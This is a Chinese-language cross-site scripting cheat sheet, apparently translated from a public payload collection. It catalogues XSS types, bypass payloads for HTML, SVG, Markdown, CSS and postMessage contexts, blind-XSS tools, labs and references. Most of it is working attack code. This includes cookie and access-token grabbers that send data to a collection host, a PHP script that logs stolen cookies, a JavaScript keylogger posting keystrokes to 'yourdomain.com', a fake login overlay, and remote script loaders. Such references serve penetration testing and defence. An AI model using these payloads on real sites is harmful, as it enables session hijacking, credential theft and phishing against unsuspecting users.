跨站脚本攻击 (Cross Site Scripting)
跨站脚本攻击 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。XSS 允许攻击者将客户端脚本注入到其他用户查看的网页中。
摘要 (Summary)
- 方法论 (#methodology)
- 概念验证 (Proof of Concept)
- 识别 XSS 端点 (#identify-an-xss-endpoint)
- HTML/应用程序中的 XSS (#xss-in-htmlapplications)
- URI 封装器中的 XSS (#xss-in-wrappers-for-uri)
- 文件中的 XSS (#xss-in-files)
- PostMessage 中的 XSS (#xss-in-postmessage)
- 盲 XSS (Blind XSS)
- 突变型 XSS (Mutated XSS)
- 实验环境 (Labs)
- 参考资料 (#references)
方法论 (Methodology)
跨站脚本攻击 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。XSS 允许攻击者将恶意代码注入到网站中,然后该代码会在任何访问该网站的人的浏览器中执行。这可能导致攻击者窃取敏感信息(如用户登录凭据)或执行其他恶意操作。
主要有三种 XSS 攻击类型:
-
反射型 XSS (Reflected XSS):在反射型 XSS 攻击中,恶意代码被嵌入在发送给受害者的链接中。当受害者点击链接时,代码会在其浏览器中执行。例如,攻击者可以创建一个包含恶意 JavaScript 的链接,并通过电子邮件发送给受害者。当受害者点击该链接时,JavaScript 代码在他们的浏览器中执行,允许攻击者执行各种操作,如窃取他们的登录凭据。
-
存储型 XSS (Stored XSS):在存储型 XSS 攻击中,恶意代码存储在服务器上,并在每次访问受漏洞影响的页面时执行。例如,攻击者可以将恶意代码注入到博客文章的评论中。当其他用户查看该博客文章时,恶意代码会在他们的浏览器中执行,从而允许攻击者执行操作。
-
基于 DOM 的 XSS (DOM-based XSS):这是一种当容易受攻击的 Web 应用程序在用户的浏览器中修文档对象模型 (DOM) 时发生的 XSS 攻击。例如,当用户输入以某种方式被用于更新页面的 HTML 或 JavaScript 代码时。在基于 DOM 的 XSS 攻击中,恶意代码不发送到服务器,而是直接在用户的浏览器中执行。这使得检测和预防这类攻击变得困难,因为服务器没有任何恶意代码的记录。
为了防止 XSS 攻击,正确地验证和清理用户输入非常重要。这意味着确保所有输入符合必要标准,并移除任何潜在危险的字符或代码。在将用户输入渲染到浏览器之前对其特殊字符进行转义同样至关重要,以防止浏览器将其解释为代码。
概念验证 (Proof of Concept)
在利用 XSS 漏洞时,演示一个可能导致账户接管或敏感数据泄露的完整利用场景会更有效。不要仅仅使用 alert 载荷报告 XSS,而应以此获取有价值的数据,如支付信息、个人身份信息 (PII)、会话 Cookie 或凭据。
数据抓取器 (Data Grabber)
获取管理员 Cookie 或敏感访问令牌,以下载荷会将其发送到受控页面。
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
将收集到的数据写入文件。
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
跨源资源共享 (CORS)
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
UI 重塑 (UI Redressing)
利用 XSS 修改页面的 HTML 内容,以显示伪造的登录表单。
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>请登录以继续</h1><form>用户名: <input type='text'>密码: <input type='password'></form><input value='提交' type='submit'>"
</script>
Javascript 键盘记录器 (Javascript Keylogger)
收集敏感数据的另一种方式是设置 Javascript 键盘记录器。
<img src=x onerror='document.onkeypress=function(e){fetch("http://yourdomain.com?k="+String.fromCharCode(e.which))},this.remove();'>
其他方式 (Other Ways)
更多利用方式请访问 http://www.xss-payloads.com/payloads-list.html?a#category=all:
识别 XSS 端点 (Identify an XSS Endpoint)
此载荷会在开发者控制台中打开调试器,而不是触发弹出警报框。
具有内容托管功能的现代应用程序可以使用沙盒域名 (sandbox domains):
以安全地托管各种类型的用户生成内容。其中许多沙盒专门用于隔离用户上传的 HTML、JavaScript 或 Flash 小程序,并确保它们无法访问任何用户数据。
因此,作为默认 XSS 载荷,使用 alert(document.domain) 或 alert(window.origin) 优于 alert(1),以便了解 XSS 实际在哪个域作用域下执行。
替代 <script>alert(1)</script> 的更好载荷:
虽然 alert() 对于反射型 XSS 很好,但对于存储型 XSS 很快就会成为负担,因为每次执行都需要关闭弹出窗口。因此可以使用 console.log() 在开发者控制台显示消息(不需要任何交互)。
示例:
<script>console.log("来自 XYZ 页面的搜索栏 XSS 测试\n".concat(document.domain).concat("\n").concat(window.origin))</script>
参考资料:
- Google Bughunter University - 沙盒域名中的 XSS
- LiveOverflow 视频 - 不要使用 alert(1) 进行 XSS 测试
- LiveOverflow 博客文章 - 不要使用 alert(1) 进行 XSS 测试
工具 (Tools)
大多数工具也适用于盲 XSS 攻击:
- XSSStrike:非常受欢迎,但遗憾的是维护得不是很好。
- xsser:利用无头浏览器检测 XSS 漏洞。
- Dalfox:广泛的功能,得益于 Go 语言实现,速度极快。
- XSpear:类似于 Dalfox,但基于 Ruby。
- domdig:基于无头 Chrome 的 XSS 测试工具。
HTML/应用程序中的 XSS (XSS in HTML/Applications)
常用载荷 (Common Payloads)
// 基础载荷
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">
// 图片载荷 (Img)
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
// 矢量图载荷 (Svg)
<svg
onload=alert(1)>
<svg/onload=alert('XSS')>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` 是唯一允许自闭合脚本标签的浏览器)
<svg><script>alert('33')
<svg><script>alert('33')
// Div 载荷
<div onpointerover="alert(45)">将鼠标悬停于此</div>
<div onpointerdown="alert(45)">将鼠标悬停于此</div>
<div onpointerenter="alert(45)">将鼠标悬停于此</div>
<div onpointerleave="alert(45)">将鼠标悬停于此</div>
<div onpointermove="alert(45)">将鼠标悬停于此</div>
<div onpointerout="alert(45)">将鼠标悬停于此</div>
<div onpointerup="alert(45)">将鼠标悬停于此</div>
利用 HTML5 标签的 XSS (XSS using HTML5 tags)
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>十分之二</meter>
<body ontouchstart=alert(1)> // 当手指触摸屏幕时触发
<body ontouchend=alert(1)> // 当手指离开触摸屏时触发
<body ontouchmove=alert(1)> // 当手指在屏幕上滑动时触发
利用远程 JS 的 XSS (XSS using a remote JS)
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// 你也可以使用 14.rs/#payload 指定任意载荷
例如: 14.rs/#alert(document.domain)
隐藏输入框中的 XSS (XSS in Hidden Input)
在较新的浏览器中 (firefox-130/chrome-108):
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
大写输出中的 XSS (XSS in Uppercase Output)
基于 DOM 的 XSS (DOM Based XSS)
基于 DOM XSS Sink 的载荷:
JS 上下文中的 XSS (XSS in JS Context)
-(confirm)(document.domain)//
; alert(1);//
// 来自 [@brutelogic](https://twitter.com/brutelogic) 的无需单/双引号的载荷
URI 封装器中的 XSS (XSS in Wrappers for URI)
javascript 封装器
javascript:prompt(1)
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
javascript:confirm(1)
我们可以对 "javascript:" 进行 Hex/八进制编码
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
我们可以使用“换行符”
java%0ascript:alert(1) - 换行符 (LF, \n)
java%09script:alert(1) - 水平制表符 (HT, \t)
java%0dscript:alert(1) - 回车符 (CR, \r)
使用转义字符
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
使用换行符和注释 //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
data 封装器
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
vbscript 封装器
仅限 IE 浏览器:
文件中的 XSS (XSS in Files)
注意: 此处使用 XML CDATA 部分,以便 JavaScript 载荷不会被视为 XML 标记。
XML 中的 XSS
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
SVG 中的 XSS
简单脚本。代号:绿色三角形
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
更全面的载荷,包含 svg 标签属性、desc 脚本、foreignObject 脚本、foreignObject iframe、title 脚本、animatetransform 事件和简单脚本。代号:红色闪电。作者:noraj。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('svg 属性')">
<polygon id="lightning" points="0,100 50,25 50,75 100,0" fill="#ff1919" stroke="#ff0000"/>
<desc><script>alert('svg desc')</script></desc>
<foreignObject><script>alert('svg foreignObject')</script></foreignObject>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert('svg foreignObject iframe');" width="400" height="250"/>
</foreignObject>
<title><script>alert('svg title')</script></title>
<animatetransform onbegin="alert('svg animatetransform onbegin')"></animatetransform>
<script type="text/javascript">
alert('svg script');
</script>
</svg>
短型 SVG 载荷 (Short SVG Payload)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
嵌套 SVG 与 XSS
在 SVG 中包含远程 SVG 图像是可行的,但不会触发嵌入在远程 SVG 中的 XSS。作者:noraj。
SVG 1.x (xlink:href)
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg" height="200" width="200"/>
</svg>
在 SVG 中包含远程 SVG 片段 (fragment) 是可行的,但不会触发嵌入在远程 SVG 元素中的 XSS,因为无法在 polygon/rect 等标签上添加漏洞属性(因为 style 属性在现代浏览器中已不再是有效载荷向量)。作者:noraj。
SVG 1.x (xlink:href)
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg#lightning"/>
</svg>
然而,在 SVG 文档中包含 svg 标签是可行的,并允许从子 SVG 中执行 XSS。代号:法国国旗。作者:noraj。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<svg x="10">
<rect x="10" y="10" height="100" width="100" style="fill: #002654"/>
<script type="text/javascript">alert('子-svg 1');</script>
</svg>
<svg x="200">
<rect x="10" y="10" height="100" width="100" style="fill: #ED2939"/>
<script type="text/javascript">alert('子-svg 2');</script>
</svg>
</svg>
Markdown 中的 XSS
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
CSS 中的 XSS
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
background-color: #cccccc;
}
</style>
</head>
<body>
<div>嘿嘿</div>
</body>
</html>
PostMessage 中的 XSS (XSS in PostMessage)
如果目标源是星号
*,消息可以发送到任何引用了子页面的域。
<html>
<body>
<input type=button value="点我" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){
window.poc = window.open('http://www.被脱敏域名.com/#login');
setTimeout(function(){
window.poc.postMessage(
{
"sender": "accounts",
"url": "javascript:confirm('XSS')",
},
'*'
);
}, 2000);
}
</script>
</html>
盲 XSS (Blind XSS)
XSS Hunter
XSS Hunter 允许你发现各种跨站脚本漏洞,包括经常被遗漏的盲 XSS。该服务的工作原理是托管专门的 XSS 探测器,一旦被触发,它会扫描页面并将漏洞页面的信息发送到 XSS Hunter 服务。
XSS Hunter 已弃用,曾可用地址为 https://xsshunter.com/app。
你可以搭设替代版本:
示例载荷:
"><script src="https://js.rip/<自定义名称>"></script>
"><script src=//<自定义子域名>.xss.ht></script>
<script>$.getScript("//<自定义子域名>.xss.ht")</script>
其他盲 XSS 工具
- Netflix-Skunkworks/sleepy-puppy - Sleepy Puppy XSS 载荷管理框架。
- LewisArdern/bXSS - 漏洞猎人及组织用于识别盲 XSS 的实用工具。
- ssl/ezXSS - 渗透测试人员和 Bug Bounty 猎人测试(盲)跨站脚本的简便方案。
盲 XSS 常见端点 (Blind XSS endpoint)
- 联系表单
- 工单支持
- Referer 请求头
- 网站自定义分析工具
- 管理面板日志
- User Agent 请求头
- 网站自定义分析工具
- 管理面板日志
- 评论框
- 管理面板
技巧 (Tips)
在部署重量级盲 XSS 测试工具之前,你可以使用 XSS 数据抓取器 和一行代码开启的 HTTP 服务器来确认盲 XSS 的存在。
例如,载荷:
一行代码开启的 HTTP 服务器:
突变型 XSS (Mutated XSS)
利用浏览器奇技淫巧 (Quirks) 重新生成某些 HTML 标签。
示例:来自 Masato Kinugawa 的突变型 XSS,曾用于针对 Google 搜索上的 cure53/DOMPurify 组件。
实验环境 (Labs)
- PortSwigger XSS 实验全集
- Root Me - XSS - 反射型
- Root Me - XSS - 服务端 XSS (XSS Server Side)
- Root Me - XSS - 存储型 1
- Root Me - XSS - 存储型 2
- Root Me - XSS - 存储型 - 过滤器绕过
- Root Me - 基于 DOM 的 XSS - 入门
- Root Me - 基于 DOM 的 XSS - AngularJS
- Root Me - 基于 DOM 的 XSS - Eval
- Root Me - 基于 DOM 的 XSS - 过滤器绕过
- Root Me - XSS - 基于 DOM
- Root Me - 自 XSS (Self XSS) - DOM 机密
- Root Me - 自 XSS (Self XSS) - 竞态条件 (Race Condition)
参考资料 (References)
- 利用 XSS 过滤器:一个 ^ 导致的 XSS (CVE-2016-3212) - Masato Kinugawa (@kinugawamasato) - 2016年7月15日
- 账户恢复 XSS - Gábor Molnár - 2016年4月13日
- 利用 PNG 和奇特的 Content Types 攻击 Facebook 上的 XSS - Jack Whitton (@fin1te) - 2016年1月27日
- 绕过基于特征的 XSS 过滤器:修改脚本代码 - PortSwigger - 2020年8月4日
- 多种技术结合产生的 Google 基于 DOM 的 XSS - Sasi Levi - 2016年9月19日
- 跨站脚本 (XSS) Cheat Sheet - PortSwigger - 2019年9月27日
- 编码差异:为何字符集至关重要 - Stefan Schiller - 2024年7月15日
- Facebook 的举动:OAuth 上的 XSS - Paulos Yibelo - 2015年12月10日
- Frans Rosén 分享如何获得 Mega.co.nz 的 XSS Bug Bounty - Frans Rosén - 2013年2月14日
- Google XSS Turkey - Frans Rosén - 2015年6月6日
- 我如何发现 $5,000 的 Google Maps XSS(通过捣鼓 Protobuf) - Marin Moulinier - 2017年3月9日
- 两次击溃 Bug Bounty 计划 - Itzhak (Zuk) Avraham 与 Nir Goldshlager - 2012年5月
- Google 搜索中的突变型 XSS - Tomasz Andrzej Nidecki - 2019年4月10日
- mXSS 攻击:利用 innerHTML 突变攻击安全防御严密的 Web 应用 - Mario Heiderich 等人 - 2013年9月26日
- 影响百万站点的 postMessage XSS - Mathias Karlsson - 2016年12月15日
- 中导致信息泄露的 RPO - @filedescriptor - 2016年7月3日
- 秘密 Web 攻击知识:CTF 作者讨厌这些简单技巧 - Philippe Dourassov - 2024年5月13日
- 利用 Marketo 表单 XSS 结合 postMessage 帧跳转及 jQuery-JSONP 窃取 hackerone.com 的表单数据 - Frans Rosén (fransrosen) - 2017年2月17日
- 影响所有 Fantasy Sports [*.fantasysports.yahoo.com] 的存储型 XSS - thedawgyg - 2016年12月7日
- *.ebay.com 中的存储型 XSS - Jack Whitton (@fin1te) - 2013年1月27日
- Facebook 聊天、签到及 Messenger 中的存储型 XSS - Nirgoldshlager - 2013年4月17日
- 由 Uber 管理账户风险导致的 Stored XSS - James Kettle (@albinowax) - 2016年7月18日
- Snapchat 上的存储型 XSS - Mrityunjoy - 2018年2月9日
- Google 中由数据集发布语言导致的存储型 XSS 和 SSRF - Craig Arendt - 2018年3月7日
- sms-be-vip.twitter.com 中巧妙的 HTML 注入和潜在 XSS - Ahmed Aboul-Ela (@aboul3la) - 2016年7月9日
- 通过停止重定向和 javascript 协议攻击 Twitter XSS - Sergey Bobrov (bobrov) - 2017年9月30日
- Uber Bug Bounty:将自 XSS 转化为有效 XSS - Jack Whitton (@fin1te) - 2016年3月22日
- Uber 自 XSS 到全局 XSS (V2) - httpsonly - 2016年8月29日
- 释放极致 XSS Polyglot - Ahmed Elsobky - 2018年2月16日
- 利用博朗剃须刀绕过 XSS Audit 和 WAF - Frans Rosen - 2016年4月19日
- alert(document.domain) 的多种方式 - Tom Hudson (@tomnomnom) - 2018年2月22日
- 使用突变型 XSS 绕过 DOMPurify 2.0.0 的 Write-up - Michał Bentkowski - 2019年9月20日
- 通过 Tossing Cookies 触发 XSS - WeSecureApp - 2017年7月10日
- XSS ghettoBypass - d3adend - 2015年9月25日
- 通过 Cookie 攻击 Uber XSS - zhchbin - 2017年8月30日
- 滥用 postMessage 监听器中的 HTML5 结构化克隆算法攻击任意 Shopify 店铺的 XSS - Luke Young (bored-engineer) - 2017年5月23日
- 通过 Host 请求头攻击 www.google.com/cse 的 XSS - Michał Bentkowski - 2015年4月22日
- 使用 Unicode 进行 XSS 测试 - Rakesh Mane - 2017年8月3日
- Yahoo Mail 存储型 XSS - Jouko Pynnönen - 2016年1月19日
- Yahoo Mail 存储型 XSS #2 - Jouko Pynnönen - 2016年12月8日